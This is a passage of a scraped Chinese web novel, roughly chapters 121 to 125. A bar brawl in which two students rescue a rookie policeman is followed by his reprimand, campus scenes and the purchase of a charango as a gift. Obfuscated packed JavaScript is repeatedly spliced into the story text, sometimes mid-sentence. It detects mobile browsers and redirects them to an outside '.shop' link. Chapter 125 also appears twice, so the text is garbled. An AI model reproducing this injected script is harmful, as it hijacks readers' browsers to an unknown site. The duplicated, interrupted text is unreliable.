马辉本能地抬起左臂一挡——“砰”的一声闷响,臂骨剧痛。他嘴里嘶嘶吸气,胳膊耷拉下来,抬不起来。 紧接着胸口挨了一脚。马辉整个人往后跌去,后背撞翻了一张桌子,又带倒了旁边两把椅子,啤酒瓶稀里哗啦碎了一地。他摔在地上,肺里的空气像被人一把攥住,嗷嗷叫着要往起爬。膝盖刚撑起来,一只脚就踩上了他的后脑勺。 “穿身绿皮就当自己是个人了?”红毛的脚底板碾着他的头发,“绿王八你趴好了!” 有人往他身上浇啤酒,冰凉的液体顺着头发和脖子往下淌,混着碎玻璃碴子扎进皮肤。马辉眼睛一下子就红了,血往头顶上涌,太阳穴突突直跳。 他猛地掀翻身上那个人,从地上弹起来,撞在红毛身上。 红毛踉跄了两步,站稳了,脸上挂不住,破口大骂:“**,你还想反抗?”弯腰从地上摸起一个酒瓶,朝马辉砸过来。马辉侧身一躲,酒瓶擦着耳朵飞过去,砸在墙上炸开了花。 可他躲得了这个,躲不了别的——两三只脚同时踹过来,正中小腹和胯骨,他又被踹翻在地。有人揪住他的头发,把脑袋往地上磕。一下,两下。后脑勺撞在碎玻璃上,疼得他眼前一阵阵发黑。 就在这时,一个板凳飞了过来。 确切地说,是抡过来的。 又狠又准,结结实实砸在那个揪马辉头发的红毛头上。红毛连叫都没来得及叫一声,整个人横着飞出去,摔在地上,再也没起来。 马辉被一只有力的手从地上拽起半截,眼前全是重影,只模糊看见一个身影挡在了他前面。 那身影没有半秒停顿。板凳扔出去的同时,一只手已经扣住了另一个混混的后脑勺,猛地往下一拉,膝盖迎面撞上去——“噗”的一声闷响,那混混的脸像被拍扁了一样,鼻血喷出来,整个人软了下去。紧接着那人揪着这个半死不活的混混的脑袋,狠狠撞向旁边另一个人的胸口,两个人绞在一起摔倒在地,他又补了一脚,把两个人都踹出去老远。 整个过程不到十秒。 马辉这才看清那张脸。 “涛子……”他嗓子眼里挤出两个字,嘴角全是血。 韩学涛一把揪住他的衣领从地上拽起来,声音又低又硬:“走!” 马辉踉跄着站稳,半边身子都靠在韩学涛身上,左臂垂着像根废木头,右手还死死攥着拳头不肯松。 可他们没走成。 又有五六个人从人群里挤了出来,堵住了去路。为首那人穿着件花哨的夹克,手指点着韩学涛:“**的,原来是你!” 韩学涛眯眼一看,心里咯噔了一下。 王松。 上次在游戏厅门口被他踹翻那个。没想到在这儿碰上了。 “上次那笔账我还没跟你算,”王松咬牙切齿,“你今天还敢到这儿来?行,有种。今天不弄死你,我跟你姓。” 韩学涛二话没说,拽着马辉就往后退。眼角余光扫到了酒吧大门——蒙着黑布的玻璃门半敞着,外面的路灯照进来一条光带,离他们大概七八米远。 七八米。 王松身后那几个人已经开始掏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461830|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家伙了。有人从腰后抽出一根铁棍,有人拎起桌上的啤酒瓶,还有两个从包里摸出了刀——那刀一看就是自己用砂轮磨的,刀柄上缠着白布条。 马辉的身体直抖,不知道是疼的还是怕的,声音发颤:“涛子……你走吧,别管我了……” 韩学涛没吭声。 他脚尖一挑,地上一个板凳翻起来,落进手里。他单手拎着板凳腿,横在身前,指着王松:“骨科和脑科,你选一个吧。” 王松愣了一下,随即被这句话彻底激怒,脸涨成了紫红色,吼了一声:“给我打!”自己第一个冲了过来。 身后那几个人也同时往前涌。 韩学涛扬起板凳,朝王松抡过去。王松赶紧缩头——那板凳要是抡实了,脑袋不开花也得缝十几针。可板凳抡到一半,韩学涛手腕一翻,板凳脱手而出,不是砸王松,是直奔旁边那个拿刀的混混。 板凳腿正砸在那人握刀的手臂上,“咔嚓”一声,不知道是板凳断了还是骨头裂了。刀脱了手,在地上弹了两下,滑到桌子底下去了。 那人捂着手臂惨叫的同一秒,韩学涛已经顺手抄起桌上的一个啤酒瓶。瓶底朝上,瓶口朝下,他连犹豫都没有,反手一瓶子砸在“莫西干头的脑袋上——玻璃炸开的声音又闷又脆,碎渣四溅。那人眼睛一翻,软塌塌地往下出溜。 韩学涛手里的半截碎瓶子没扔。他一步跨出去,左手剪住王松的手臂,猛地往后一别,王松疼得整个人弓了起来。紧接着,那半截碎啤酒瓶的尖茬子,对着王松的屁股,狠狠扎了下去。 王松发出一声不像是人能发出的嚎叫,整个人像触电一样弹了一下,然后就软了。 韩学涛还没来得及松手,眼角余光瞥见一个影子——刚才被板凳砸倒的那个拿刀混混,居然又从地上爬起来了,左手捡起了那把刀,咬着牙朝韩学涛的腰捅过来。 “嗡——” 一把吉他横着飞过来,琴身结结实实拍在那人的头上。吉他发出一声沉闷的轰鸣,像是什么东西被砸碎了。琴弦“嗡”地断了,崩开的弦弹出去,在空气里颤了好久。 那人被砸得原地转了大半圈,直挺挺地栽倒在地,刀从手里滑出去,叮叮当当滚远了。 展雪站在那人身后,双手还保持着握吉他柄的姿势,指缝间全是血——断掉的吉他弦勒进了他的手指,肉都翻开了,血顺着指根往下滴。 韩学涛一把将展雪拽过来,顺手接过他手里只剩半截的吉他,反手又砸在一个刚从地上爬起来的混混肩膀上。那混混惨叫一声,抱着肩膀缩成一团。 “走!”韩学涛吼道。 这地方不能多待。鬼知道酒吧里还有他们多少人。刚才那一凳子一瓶子下去,动静太大了,再纠缠下去,等他们把人全聚过来,想走都走不了。 韩学涛一手拽着展雪,一手拖着马辉,三个人撞开酒吧的玻璃门,冲进夜色里,撒开腿就是一阵狂奔。 第122章 没有坏人帮 宁海四中门口的马路牙子上,三人并排坐着。 背后一排梧桐树,把路灯遮得只剩下碎光。 展雪右手包着纱布,左手拎一瓶啤酒,衬衣搭在肩上,不说话,一口一口地闷。 马辉额头也包了纱布,脸肿得像发面馒头,左胳膊耷拉着不敢动,一动就嘶嘶抽气。他用右手举起酒瓶,往韩学涛面前递,瓶嘴碰了碰。 “涛子,谢了。” 韩学涛没接那口酒,盯着他那张肿脸:“你可别。我受不起。退学的时候屁都不放一个就走了,我还是到你们农院才知道的。” 马辉嘴皮子动了动,没吭声。 “现在又跑来当孤胆英雄。”韩学涛说,“我今天要不是恰巧过来,下次见你就是给你上香了。” 马辉炸了:“我高攀不上你,行不行?你们他妈都是重点大学的天之骄子,我现在就一高中文凭,跟我爸一样当个臭警察。”酒瓶子往地上一蹾,沫子溅了一手,“我自觉滚远一点,省得碍你眼,行不行!” “不想当警察你还当?”韩学涛说,“我看你刚才挺厉害啊,一个人冲进去干人家一群。被人家用脚踩脸上、踩头上——现实不是漫画,你也不是圣斗士星矢。一棍子抡脑袋上你就没了,星矢能爬起来一百回,**就一条命!” 马辉咬着牙,腮帮子鼓了两下,眼眶先红了:“你以为我想当?我他妈没得选!” 声音一下子劈了,像憋了太久的东西终于从嗓子眼里挤出来:“我不想考个好大学?不想跟你们一样在大学里谈个恋爱、混日子?不想毕业找个像样工作、成家生孩子、孝敬我妈?你以为我高中不努力?我他妈就不是这块料!这世上最大的不公平,就是人有聪明有笨!我拼了命也追不上你们,我能怎么办?你告诉我,我能怎么办!” 韩学涛冷笑一声:“知道自己不是那块料,就老老实实待着?你刚退学,凭高中文凭就能在宁海穿上这身绿皮,说明你家起码有点路子。端着铁饭碗,混混日子,捞点不出事的灰色收入,不够你潇洒?你拼个什么劲?” “我他妈不甘心!”马辉吼出来。 “不甘心什么?不甘心**拿几百块抚恤金?”韩学涛盯着他,一字一句地说,“为什么就你一个人去酒吧出警?那些老警察呢?你才穿这身皮几天?转正了么?出警不用师傅带?人家都不去的地方你逞英雄——你脑子呢?你马少爷空降过去占了人家坑,人家巴不得你光荣殉职,你信不信?” 马辉一愣:“我成少爷了?” “你爸不是警察?”韩学涛说,“你就是警二代。” 旁边一直闷头喝酒的展雪突然“噗”地笑了一声。 两人同时转头。 “你笑什么?” 展雪晃了晃酒瓶子,面无表情:“没事儿,你们继续,挺好看的。” 马辉拽着韩学涛胳膊往旁边挪了几步,压低声音:“这女的谁啊?涛子,我可警告你,你别瞒着班长在外头瞎搞。” “班长?” “你少跟我装糊涂!”马辉瞪着他,“你跟班长从高中一块儿考进宁海大学,我他妈羡慕得要死你知不知道?我跟点点要都在师大,能成现在这样?你别不知足,得珍惜!这女的长得虽然不错,但是班长也好看……” 韩学涛被气笑了:“情圣,你还有闲心管我的事?要不是你们班长拉我去新生汇演,我能认识她?要不是送你们班长去急诊,我也不会欠她人情。今天也就不会过来,更不会碰上你——说不定下次见面真就是在你家馄饨店,对着你黑白照片鞠躬了!” 那边展雪喊:“你们两个嘀嘀咕咕够了没有?背后议论人拜托也小声点,我听得一清二楚!” 马辉脸一红,扭头对展雪尴尬地笑了笑:“那个……今天谢了啊。” 展雪看了他一眼:“你们谁有烟?” “我没有。”韩学涛说完转身坐回路沿,拎起啤酒。 马辉说:“等着,我去值班室拿。”说完朝不远处派出所值班室走去,步子一瘸一拐的,活像一只挨了揍的猴子。 展雪收回目光,转头看韩学涛:“你朋友还知道谢我一声,你对我连句谢谢都没有?” “谢了。”韩学涛头都没转,拎着酒瓶喝了一口。 展雪说:“这个谢字从你嘴里出来,一点诚意都感觉不到。” “真诚地说声感谢就完了?”韩学涛说,“那你也太好骗了。” 展雪哼了一声:“当然不止。我的吉他坏了。” “回头赔你一把。” “我的吉他很贵的。” 韩学涛问:“有多贵?” 展雪举起包着纱布的手,露出三根手指:“要三百多!” 韩学涛转过头,有些意外地看着她——你那吉他别说三百,就算三千,再翻一倍也买不到。 “这个价钱,奸商肯定赚疯了。说明你确实好骗。”他笑道。 展雪瞥了他一眼:“土老帽!” 马辉小跑着回来了,手里拿着两包烟,递给展雪:“你抽这个。” 展雪接过来一看,嘴角翘了一下:“七星?还是女士香烟。心挺细的嘛。” 马辉被她这么一说,耳朵尖泛红,挠了挠头:“走私烟……我们收缴的。” 马辉自己也点上一根,又递了一根给韩学涛。三个人坐在马路牙子上,烟雾在路灯底下慢慢散开。 韩学涛吸了一口:“马猴,下面有什么打算?” 马辉叼着烟,眯眼看远处那盏路灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17465899|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想了半天:“还能有啥打算。既然都穿上这身衣服了,那就好好干呗。” “先转正,再立功,手下带几个人。”韩学涛说,“别什么事都自己往上扑。” 烟从马辉鼻子里喷出来:“哪儿那么容易。当年我爸要立功,把命都搭进去了。” 韩学涛说:“那是没有坏人帮他。” 马辉一愣,扭过头:“啊?啥意思?” ... 螺塘派出所,走廊里有人探头探脑。 付祥民从总局过来,没去会议室,直接让人把马辉叫到二楼。 门一关,办公室里只剩两个人。 马辉站在门口,脸上那块纱布还没拆,左胳膊吊在胸前,活像从战场上爬下来的散兵游勇。他看一眼付祥民那张刀刻似的脸,心里发虚,嘴皮子哆嗦了一下。 “阿爷……” 付祥民眼睛一瞪:“你喊什么?” 马辉咽了口唾沫:“付局长。” 付祥民盯着他那张肿脸,从上看到下,又从下看到上,最后停在吊着的那条胳膊上。 “马辉,你知不知道你是什么身份。” “我是**。” “你也知道你是**?”付祥民说,“你看看你这张脸,我他妈还以为你是成龙呢!” 马辉不敢吭声。 付祥民从包里摸出几张纸,往桌上一拍,纸页在桌面上滑出去老远。 “看了这份汇报,我都不敢相信。”他手指点着那几张纸,“你自己听听——轻伤三个,重伤两个。鼻骨粉碎性骨折一个,脑震荡一个,还有一个屁股上被啤酒瓶子扎了个窟窿,缝了十几针。马辉,你别告诉我这都是你一个人的功劳!” 马辉低着头:“我也不知道……当时我晕过去了,醒来之后看酒吧里打成一团,我就往外跑。后面发生什么,我都没看见。” 付祥民不说话,紧紧盯着他。 马辉能感觉到那道目光钉在自己脑门上,像钉子一样,他头埋得更低,不敢对视。 办公室里安静了几秒。 “回头写份报告。”付祥民终于开口,“当天晚上接警情况,你怎么出的警,出警之前跟谁汇报过,后来怎么逃脱的——全部给我写清楚,不准隐瞒。” “是。” “我跟你们所长说了,在年底封闭训练之前,这种业务性强的案子,都不用你出警了。”付祥民往椅背上一靠。 马辉抬起头:“那**什么?” “上街巡逻,维护秩序,接受群众求助。”付祥民一字一顿,“你现在的任务就是老老实实待到转正,然后调你去法制支队——少他妈给我惹事!” 马辉张了张嘴,想说什么,又咽回去了。 “听见没有?” “听见了。” 第123章 你记不记得答应过我什么事? 付祥民前脚刚走,所长的电话就响了。 接完电话,所长坐在椅子上揉了好一会儿额头。批评的话在嘴边转了几圈,最后还是咽了回去。 付祥民是谁?省里整个警队的标杆人物,马上退休的年纪被调来宁海当副局长。这是什么信号,懂的都懂。放着总局一堆事情不办,专门跑来螺塘给这小子擦屁股——那自己还有什么好说的? 他把马辉叫进办公室。 马辉站在门口,脸上的纱布换了一块新的,但还是肿,眼睛旁边青了一大片。 所长看了他一眼,连训人的心思都没了。 “行了,付局长要说的都说过了。”所长靠在椅背上,语气不咸不淡,“付局讲得很对,我们派出所确实要强化纪律和作风建设。对年轻同志高标准严要求,才能尽快成熟进步。” 他顿了顿:“你不要有心理负担,工作也别背思想包袱。付局批评你,是为你好。” “是。”马辉站得笔直。 “付局也跟我交代了,年底封闭训练之前,你不用碰案子。”所长拿起桌上的茶杯,喝了一口,“日常就去治安巡逻。我给你找个师傅带着,在辖区里转转,熟悉情况,解决群众问题。” 他放下茶杯,冲门口喊了一声:“老田!” 门开了,一个穿着警服的中年人走进来。 个子不高,肚子微微发福,脸上的表情和气得很,笑起来眼睛眯成一条缝。 “所长,您找我?” “这是马辉,新来的。”所长指了指,“你带他。先在辖区里转转,熟悉情况。” 田伟看了一眼马辉脸上的伤,笑呵呵地点点头:“行,交给我。” 马辉跟着田伟走出办公室。 走廊里,田伟放慢步子,跟马辉并排走。他又看了一眼马辉的胳膊和脸,笑着说:“小马挺有干劲儿的。” 马辉不好意思地摸了摸后脑勺。 “不过咱们当警察的,也不是啥事都猛打猛冲。”田伟语气不急不慢,“很多群众工作,还是得靠耐心。你先养两天伤,回头我带你转社区。” 田伟,三十七岁,螺塘派出所户籍警。 户籍警这活儿,说白了就是管片区里那些家长里短——落户、迁户、**,哪家吵架了,哪家老人走丢了,哪家租户没登记,全归他管。不用办大案,不用追逃犯,一天到晚跟街坊邻居打交道。 田伟干这个干了十几年,是所里出了名的老好人。 谁家两口子打架,他去劝。谁家老太太迷路了,他给送回去。谁家小孩办户口缺材料,他帮着跑。在所里十几年,没办过什么惊天动地的大案,也没跟人红过脸。 所里年轻人都叫他田哥,说话不紧不慢的,笑起来眼睛眯成一条缝。 “我就在一楼那个办公室,户籍窗口后面。你随时来,我一般都在。”田伟拍了拍他没受伤的那边肩膀:“别急,慢慢来。当警察不是一天两天的事。” 马辉点了点头。 ... 计算机课上,阶梯教室里坐满了人。 韩学涛把马辉当警察的事告诉了李曼。他没提酒吧那场架,只说马辉没回去复读,在宁海当了**,辖区就在师范学院那边。 李曼听完先是意外,接着眼睛一亮:“那不是跟点点更近了?他倆说不定还有戏。” 韩学涛摊了摊手,没说话。 李曼越想越来劲:“哪天我们去找点点,顺道一起去看看马辉吧。” “他现在才刚入职,新警察都有封闭培训,最好晚点再去。””韩学涛脑子里闪过马辉那张肿脸和吊着的胳膊——那家伙死要面子,这副鬼样子肯定不想被罗点点和李曼看见。 “那也行。”李曼脑中转过另一个念头——马辉当警察,岂不是到了老爸手下?要不要跟老爸提一下? 念头刚起来就被她摁下去了。父亲平时最讨厌这种事,说了反而留下坏印象。 干脆趁自己过生日的时候请同学聚一聚,把韩学涛和马辉都叫上。 想到这儿,她忽然认真起来。这个生日可不是一般的生日——虚岁二十。 说起来,十八岁虽然算成年,可在人们心里,二十岁恐怕才是真正的成年。人一旦到了二十,就再也不能说自己是个孩子了。 顾秀芝一年前就开始念叨,说对一个女孩来说,一生中最重要的生日就是这个二十岁,一定不能马虎。到时候请几个同学,正好顺理成章地把韩学涛和马辉一起请过来。 想到这里,李曼忽然又想起了另一件事——寒假在食堂碰到韩学涛的时候,她跟他提过一嘴,让他送自己生日礼物,当时那家伙也答应了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17465900|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然不知道他还记不记得,但既然话都说出去了…… 她嘴角翘了一下,拿笔戳了戳韩学涛的胳膊。 “哎。” “干嘛?” “你还记不记得答应过我什么事?” 韩学涛转过头,一脸茫然:“什么事?” 李曼瞪着他:“你自己想。反正你答应过的。要是敢忘……哼哼。” 韩学涛被她这没头没尾的一句弄懵了:“你总得给个提示吧?这么突然来一句,我哪知道你说哪件?” “没有提示!”李曼转过头去。 计算机课结束后,韩学涛回地质系教学楼,上“地学导论”课。 欧阳老师站在讲台上讲沉积岩分类。 韩学涛坐在倒数第三排靠窗的位置,笔记本摊开,笔在指间转圈。 他脑子里还在想测绘局那件事,卢主任那边不知道谈得怎么样了。 正在这时,门被推开了。 卢主任站在门口,手里拿着一个牛皮纸信封。 欧阳老师正拿着粉笔在黑板上写字,听见动静转过头来,看见卢主任,先是一愣,随即放下粉笔,拍了拍手上的灰,准备迎上去。 “主任,找我有事?” 卢主任冲他点了点头,目光却没在他身上停,直接越过他,扫向教室后排。 “韩学涛。” 整个教室安静了一瞬。 所有人同时转头,几十道目光齐刷刷射向倒数第三排靠窗的位置。 欧阳老师脸上的笑容僵了半秒,表情从“领导来视察工作”的忐忑变成了一脸茫然。 韩学涛站起来,把笔夹进笔记本里,合上,拿起桌上的东西,在全班注视下走出座位。 他走到门口,冲欧阳老师微微点了下头:“老师,我先出去一下。” 欧阳老师张了张嘴,想说什么又咽回去了,最后点了点头。 门在身后关上。 教室里炸开了锅。 “韩学涛?” “卢主任亲自来叫他?” “系主任找他干嘛?” “不知道啊……” “嘘——小声点!” 欧阳老师站在讲台上,拍了拍桌子:“行了行了,继续上课。沉积岩的分类,刚才讲到哪里了?” 他转过身,重新拿起粉笔,在黑板上写了个“砾岩”,笔迹比刚才重了不少。 第125章 第一次打电话给405 女店主说出“三千”两个字的时候,自己先心虚了。 这个价格太高了。 九七年的宁海,一把普通民谣吉他百来块钱,好一点的三五百,上千块已经算是专业级乐器。两千多块能买一台不错的钢琴,摆在客厅里,亲戚朋友来了都要围着看半天。谁会花三千块买这么一把冷门乐器?巴掌大,犰狳壳做的,拿出去都没人认识。 阿根廷外教定的就是这个价,她也不能降价。现在被人问,她都觉得自己像个骗子。 她等着眼前这个年轻人还价,或者直接扭头走人。 “我要了。”韩学涛说,“帮我包好。” 女店主愣了一下。 “就这个,您……不再看看别的?” “不用。”韩学涛从兜里掏钱包,“包结实点,我骑摩托。” 女店主张了张嘴,半天没反应过来。直到韩学涛又催了一声“老板?”,她才回过神来,赶紧转身去柜台后面找包装盒,手忙脚乱的,差点碰掉架子上一排口琴。 韩学涛站在店里等,目光落在那把恰兰戈上。 三千块。跟展雪那把美豪比起来差得远,但也不便宜了。展雪当时伸出三根手指说“三百多”,翻十倍也就三千。关键是这玩意儿有特色,估计她也没玩过。送她一把恰兰戈,比硬凑一把同价位的吉他有意思多了。 他脑海里闪过那天晚上的画面——展雪抡起吉他砸人那一幕。吉他在那人头上抡开,琴弦崩断,她双手全是血,站在那儿,连痛都没喊一声。 确实很酷,完美诠释暴力美学! 女店主把恰兰戈装进一个深蓝色绒布袋子,又塞进一个硬纸盒里,胶带缠了好几道,最后还用绳子扎了个提手。她忙完这一套,把盒子递过来,手缩回去的时候犹豫了一下。 “您等一下。” 她转身从柜台下面摸出一个小盒子,木头的,巴掌大,雕着简单的花纹。她把盒子打开,里面躺着一支笛子。 “这个……送给您。”女店主语气有点不好意思,“算是附赠的。” 韩学涛接过来看了一眼—— “盖纳笛?” 笛身不长,比普通竹笛短一截,颜色是骨白色的,上面有几道浅浅的纹路。他翻过来看了一眼笛尾——鹰腿骨。骨壁厚,质地硬,打磨得很光滑。 “恰兰戈、盖纳笛,都是南美那边的乐器。”女店主说,“您是我见过第一个能叫出盖纳笛名字的客人。您是艺术学院的学生?” “不是。宁海大学的。” 女店主表情有些无语,艺校音乐系都没几个能叫出这种乐器名字的,宁海大学的怎么认识这个? 韩学涛没解释,把盖纳笛举到嘴边,试着吹了一声。 音色不太对。 高音发飘,声音散,不像他以前在南美吹过的那些,又亮又扎实,这个吹起来,总感觉差了点意思。 难道是残次品? 他翻来覆去看了看笛身。做工挺好的,选的骨头也不错,质量甚至比他在南美买的还好一些。算了,自己也不是专业玩音乐的,这点差别对他没啥影响。 他把盖纳笛收进口袋,冲女店主点了下头:“谢了。” 出门跨上摩托车,恰兰戈的盒子绑在后座上,发动机器,拐出青瓜巷,朝学校方向骑去。 到学校门口,韩学涛拨了展雪寝室的号码。 电话响了两声,那头接起来。 “喂,找谁?” “展雪。” 那边顿了一下,声音带着点意外:“你是韩学涛?” “你是?”韩学涛没听出是谁,但对方反而听出了他的声音。 “我是袁圆呀。” 袁圆说完,电话里安静了一瞬。然后她才接着说:“你等着,我去帮你喊。她在洗头呢。” 韩学涛握着话筒,脑子里过了一下袁圆的脸。 上次见她还是上学期在图书馆,这中间一次也没见过。她怎么一下子听出自己的声音?他可以第一次打电话到她们405寝室! 电话那头传来拖鞋踩在**石地面上啪嗒啪嗒的声音,远远的有人喊了一声,“展雪,电话!” 然后是隐隐约约的说话声。 等了三分多钟,话筒里才重新有了动静。 “韩学涛?”展雪的声音似乎都带着湿气,像是边擦头发边说话,“你怎么打电话到我们寝室来了?” “我把你摩托车骑回来了。方便的话下来拿。” “你等等,我换个衣服。” “你这车平时停哪儿的?我直接给你骑过去。” “保卫处值班室旁边有个车棚,你去那儿等我吧。” 405寝室,展雪放下话筒转过身,发现全寝室的人都在看她。 高洋第一个开口:“太阳打西边出来了,韩学涛竟然打电话到我们寝室!” 胡荔荔盘腿坐在上铺,手里拿着一本《当代歌坛》:“他们那边好像就韩学涛和赵江没往我们寝室打过电话吧?” “赵江有女朋友。”高洋说,“韩学涛才是真正的另类。” 周兰坐在床边,想起寒假韩学涛背着李曼去医院那事,张了张嘴,又闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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车棚在保卫处值班室旁边,一排铁皮棚子,里面停着几十辆自行车,零零散散几辆摩托车。 韩学涛坐在车棚外的台阶上,手里摆弄着那支盖纳笛,翻来覆去地看。摩托车停在旁边,车把上挂着恰兰戈的盒子。 展雪走过来,先围着摩托车转了一圈,又弯腰看了看车身上的划痕。 “头盔呢?” 韩学涛抬头,愣了一下:“没了。我从派出所领回来就这样。回头我买一个送你。” 展雪没再说什么,目光落在他手里那根笛子上。 “你在摆弄什么东西?” 韩学涛把盖纳笛在手里扬了扬:“骨笛,刚买的。在店里没发现门道,现在越看越觉得有点意思。” 展雪伸手:“送我的?给我看看。” 韩学涛一指摩托车上挂的盒子,“那个大的才是送给你的。” 第125章 第一次打电话给405 女店主说出“三千”两个字的时候,自己先心虚了。 这个价格太高了。 九七年的宁海,一把普通民谣吉他百来块钱,好一点的三五百,上千块已经算是专业级乐器。两千多块能买一台不错的钢琴,摆在客厅里,亲戚朋友来了都要围着看半天。谁会花三千块买这么一把冷门乐器?巴掌大,犰狳壳做的,拿出去都没人认识。 阿根廷外教定的就是这个价,她也不能降价。现在被人问,她都觉得自己像个骗子。 她等着眼前这个年轻人还价,或者直接扭头走人。 “我要了。”韩学涛说,“帮我包好。” 女店主愣了一下。 “就这个,您……不再看看别的?” “不用。”韩学涛从兜里掏钱包,“包结实点,我骑摩托。” 女店主张了张嘴,半天没反应过来。直到韩学涛又催了一声“老板?”,她才回过神来,赶紧转身去柜台后面找包装盒,手忙脚乱的,差点碰掉架子上一排口琴。 韩学涛站在店里等,目光落在那把恰兰戈上。 三千块。跟展雪那把美豪比起来差得远,但也不便宜了。展雪当时伸出三根手指说“三百多”,翻十倍也就三千。关键是这玩意儿有特色,估计她也没玩过。送她一把恰兰戈,比硬凑一把同价位的吉他有意思多了。 他脑海里闪过那天晚上的画面——展雪抡起吉他砸人那一幕。吉他在那人头上抡开,琴弦崩断,她双手全是血,站在那儿,连痛都没喊一声。 确实很酷,完美诠释暴力美学! 女店主把恰兰戈装进一个深蓝色绒布袋子,又塞进一个硬纸盒里,胶带缠了好几道,最后还用绳子扎了个提手。她忙完这一套,把盒子递过来,手缩回去的时候犹豫了一下。 “您等一下。” 她转身从柜台下面摸出一个小盒子,木头的,巴掌大,雕着简单的花纹。她把盒子打开,里面躺着一支笛子。 “这个……送给您。”女店主语气有点不好意思,“算是附赠的。” 韩学涛接过来看了一眼—— “盖纳笛?” 笛身不长,比普通竹笛短一截,颜色是骨白色的,上面有几道浅浅的纹路。他翻过来看了一眼笛尾——鹰腿骨。骨壁厚,质地硬,打磨得很光滑。 “恰兰戈、盖纳笛,都是南美那边的乐器。”女店主说,“您是我见过第一个能叫出盖纳笛名字的客人。您是艺术学院的学生?” “不是。宁海大学的。” 女店主表情有些无语,艺校音乐系都没几个能叫出这种乐器名字的,宁海大学的怎么认识这个? 韩学涛没解释,把盖纳笛举到嘴边,试着吹了一声。 音色不太对。 高音发飘,声音散,不像他以前在南美吹过的那些,又亮又扎实,这个吹起来,总感觉差了点意思。 难道是残次品? 他翻来覆去看了看笛身。做工挺好的,选的骨头也不错,质量甚至比他在南美买的还好一些。算了,自己也不是专业玩音乐的,这点差别对他没啥影响。 他把盖纳笛收进口袋,冲女店主点了下头:“谢了。” 出门跨上摩托车,恰兰戈的盒子绑在后座上,发动机器,拐出青瓜巷,朝学校方向骑去。 到学校门口,韩学涛拨了展雪寝室的号码。 电话响了两声,那头接起来。 “喂,找谁?” “展雪。” 那边顿了一下,声音带着点意外:“你是韩学涛?” “你是?”韩学涛没听出是谁,但对方反而听出了他的声音。 “我是袁圆呀。” 袁圆说完,电话里安静了一瞬。然后她才接着说:“你等着,我去帮你喊。她在洗头呢。” 韩学涛握着话筒,脑子里过了一下袁圆的脸。 上次见她还是上学期在图书馆,这中间一次也没见过。她怎么一下子听出自己的声音?他可以第一次打电话到她们405寝室! 电话那头传来拖鞋踩在**石地面上啪嗒啪嗒的声音,远远的有人喊了一声,“展雪,电话!” 然后是隐隐约约的说话声。 等了三分多钟,话筒里才重新有了动静。 “韩学涛?”展雪的声音似乎都带着湿气,像是边擦头发边说话,“你怎么打电话到我们寝室来了?” “我把你摩托车骑回来了。方便的话下来拿。” “你等等,我换个衣服。” “你这车平时停哪儿的?我直接给你骑过去。” “保卫处值班室旁边有个车棚,你去那儿等我吧。” 405寝室,展雪放下话筒转过身,发现全寝室的人都在看她。 高洋第一个开口:“太阳打西边出来了,韩学涛竟然打电话到我们寝室!” 胡荔荔盘腿坐在上铺,手里拿着一本《当代歌坛》:“他们那边好像就韩学涛和赵江没往我们寝室打过电话吧?” “赵江有女朋友。”高洋说,“韩学涛才是真正的另类。” 周兰坐在床边,想起寒假韩学涛背着李曼去医院那事,张了张嘴,又闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467174|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了。 徐爽趴在枕头上,歪着脑袋看展雪:“打西边出来的不是韩学涛,是雪儿。我从来没见雪儿答应哪个男生晚上出去过。” 展雪没接话,打开柜子,从里面抽出一条红裙子,抖开,在身上比了一下。 她右手还缠着纱布,动作不太利索。 高洋说:“哟,还要换衣服?” 展雪没理她,把红裙子放在床上,又翻出电吹风,插上电,嗡嗡嗡地吹头发。 “你们吃瓜吃得差不多了吧?能不能换个话题?”展雪一边吹一边说。 “这才哪儿到哪儿。”徐爽翻了个身,“我觉得有问题。” 袁圆抬头问:“什么问题?” 